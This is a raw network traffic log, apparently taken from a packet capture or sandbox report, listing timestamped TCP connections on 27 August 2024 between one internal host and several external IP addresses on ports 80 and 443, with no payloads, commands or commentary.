Aug 27, 2024 07:57:28.337764025 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.337995052 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.337995052 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.338015079 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.338032007 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.338144064 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.338186979 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.338376999 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.338427067 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.338427067 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:57:28.338449955 CEST	443	49840	199.103.62.205	192.168.11.20
Aug 27, 2024 07:57:28.338685989 CEST	49840	443	192.168.11.20	199.103.62.205
Aug 27, 2024 07:58:02.219989061 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.321264982 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.321542025 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.327053070 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.428304911 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.430035114 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.430104971 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.430171967 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.430392981 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.430447102 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.432738066 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.436691999 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:02.436903954 CEST	49841	80	192.168.11.20	199.59.243.226
Aug 27, 2024 07:58:02.533864021 CEST	80	49841	199.59.243.226	192.168.11.20
Aug 27, 2024 07:58:24.093064070 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.444801092 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.445116997 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.452451944 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.804475069 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.993861914 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.993967056 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994029999 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994126081 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994149923 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.994276047 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994343042 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.994395971 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994467974 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994529963 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994575024 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.994599104 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994689941 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.994702101 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994793892 CEST	80	49842	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:24.994889975 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:24.995018005 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:25.965286970 CEST	49842	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:26.982732058 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:27.329719067 CEST	80	49843	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:27.330005884 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:27.337610006 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:27.884984970 CEST	80	49843	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:28.598814964 CEST	80	49843	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:28.599071026 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:28.839762926 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:29.186108112 CEST	80	49843	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:29.685707092 CEST	80	49843	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:29.686002970 CEST	49843	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:29.857125044 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.202419996 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.202685118 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.216247082 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.216377020 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.561289072 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.561369896 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.561434031 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.561454058 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.561569929 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.561651945 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.561806917 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.561841965 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.561994076 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.906519890 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.906605959 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.906661034 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.906685114 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.906780958 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.906820059 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.906955957 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.907129049 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:30.907293081 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907356024 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907409906 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907474041 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907634974 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907912970 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:30.907963991 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.251665115 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.251729012 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.252571106 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.252655983 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.252708912 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.252809048 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.252965927 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.276694059 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.621869087 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.622033119 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.622034073 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.651559114 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.967175007 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.967241049 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:31.967467070 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.967468023 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:31.996668100 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.312419891 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.312444925 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.312666893 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.565346956 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565469027 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565534115 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565567017 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.565660000 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565670013 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.565670013 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.565789938 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565849066 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.565888882 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565979958 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.565992117 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566065073 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.566071987 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566138983 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.566186905 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566186905 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566225052 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.566276073 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.566315889 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566394091 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.566394091 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.657388926 CEST	80	49844	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:32.657603025 CEST	49844	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:32.747067928 CEST	49845	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:33.091995955 CEST	80	49845	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:33.092155933 CEST	49845	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:33.097264051 CEST	49845	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:33.443058014 CEST	80	49845	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:33.565958977 CEST	80	49845	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:33.566029072 CEST	80	49845	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:33.566433907 CEST	49845	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:33.568234921 CEST	49845	80	192.168.11.20	103.247.8.53
Aug 27, 2024 07:58:33.913106918 CEST	80	49845	103.247.8.53	192.168.11.20
Aug 27, 2024 07:58:46.892843962 CEST	49846	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:47.025749922 CEST	80	49846	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:47.025976896 CEST	49846	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:47.033322096 CEST	49846	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:47.168495893 CEST	80	49846	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:47.168515921 CEST	80	49846	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:47.168776989 CEST	49846	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:48.538552999 CEST	49846	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:49.555830002 CEST	49847	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:49.689187050 CEST	80	49847	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:49.689426899 CEST	49847	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:49.696741104 CEST	49847	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:49.833240032 CEST	80	49847	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:49.833306074 CEST	80	49847	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:49.833549023 CEST	49847	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:51.209806919 CEST	49847	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.227188110 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.359945059 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.360198975 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.368853092 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.501888037 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.501967907 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502022982 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502069950 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502094984 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.502115965 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502167940 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502188921 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.502216101 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502243042 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.502264023 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502319098 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.502429962 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.502638102 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.503048897 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.553195953 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.635456085 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635535002 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635586977 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635636091 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635673046 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.635797024 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.635813951 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635862112 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:52.635910034 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.635977030 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.636157990 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.636382103 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.636507988 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769048929 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769136906 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769190073 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769236088 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769490004 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769565105 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769615889 CEST	80	49848	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:52.769802094 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:53.881172895 CEST	49848	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:54.898489952 CEST	49849	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:55.031167984 CEST	80	49849	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:55.031323910 CEST	49849	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:55.036791086 CEST	49849	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:55.172287941 CEST	80	49849	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:55.172358036 CEST	80	49849	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:55.172425032 CEST	80	49849	96.126.123.244	192.168.11.20
Aug 27, 2024 07:58:55.172729015 CEST	49849	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:55.174640894 CEST	49849	80	192.168.11.20	96.126.123.244
Aug 27, 2024 07:58:55.307234049 CEST	80	49849	96.126.123.244	192.168.11.20
Aug 27, 2024 07:59:00.467009068 CEST	49850	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:00.771187067 CEST	80	49850	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:00.771368980 CEST	49850	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:00.778865099 CEST	49850	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:01.082706928 CEST	80	49850	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:01.196021080 CEST	80	49850	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:01.196227074 CEST	49850	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:02.285360098 CEST	49850	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:02.589329958 CEST	80	49850	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:03.302678108 CEST	49851	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:03.617105007 CEST	80	49851	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:03.617299080 CEST	49851	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:03.624777079 CEST	49851	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:03.939194918 CEST	80	49851	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:04.039649963 CEST	80	49851	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:04.039854050 CEST	49851	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:05.128439903 CEST	49851	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:05.442982912 CEST	80	49851	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.146147013 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.465392113 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.465523005 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.475186110 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.475239038 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.475286007 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.794516087 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.794689894 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.794873953 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.794960976 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.795053005 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.795090914 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:06.795223951 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.795273066 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.795361996 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.795527935 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.795697927 CEST	49852	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:06.894383907 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.114212990 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.114281893 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.114406109 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.114556074 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.114680052 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.115036964 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.115164995 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.115288973 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:07.115411043 CEST	80	49852	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:09.004656076 CEST	49853	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:09.316817999 CEST	80	49853	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:09.317027092 CEST	49853	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:09.322065115 CEST	49853	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:09.633965969 CEST	80	49853	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:09.734426975 CEST	80	49853	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:09.734579086 CEST	49853	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:09.735177040 CEST	49853	80	192.168.11.20	23.231.158.3
Aug 27, 2024 07:59:10.046680927 CEST	80	49853	23.231.158.3	192.168.11.20
Aug 27, 2024 07:59:14.858779907 CEST	49854	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:14.959480047 CEST	80	49854	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:14.959712982 CEST	49854	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:14.967185020 CEST	49854	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:15.067923069 CEST	80	49854	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:15.080246925 CEST	80	49854	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:15.080780029 CEST	80	49854	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:15.080980062 CEST	49854	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:16.469738960 CEST	49854	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:17.487138987 CEST	49855	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:17.589615107 CEST	80	49855	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:17.589904070 CEST	49855	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:17.597347021 CEST	49855	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:17.697865009 CEST	80	49855	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:17.714504004 CEST	80	49855	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:17.715033054 CEST	80	49855	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:17.715230942 CEST	49855	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:19.109810114 CEST	49855	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.127186060 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.227832079 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.228001118 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.236553907 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.236601114 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.236653090 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.336937904 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337029934 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337133884 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.337152958 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337276936 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337284088 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.337285042 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337403059 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337455034 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.337524891 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337533951 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337542057 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337625027 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.337795973 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.337799072 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.337987900 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.351413012 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.351555109 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.351788998 CEST	49856	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:20.437750101 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.437835932 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.437846899 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438052893 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438060999 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438178062 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438186884 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438302994 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438312054 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438427925 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438551903 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438560009 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438677073 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.438801050 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.439065933 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.439189911 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.439198971 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.439315081 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:20.452044010 CEST	80	49856	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:22.767256975 CEST	49857	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:22.867805004 CEST	80	49857	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:22.868005037 CEST	49857	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:22.873028994 CEST	49857	80	192.168.11.20	172.67.191.241
Aug 27, 2024 07:59:22.973582983 CEST	80	49857	172.67.191.241	192.168.11.20
Aug 27, 2024 07:59:22.989088058 CEST	80	49857	172.67.191.241	192.168.11.20
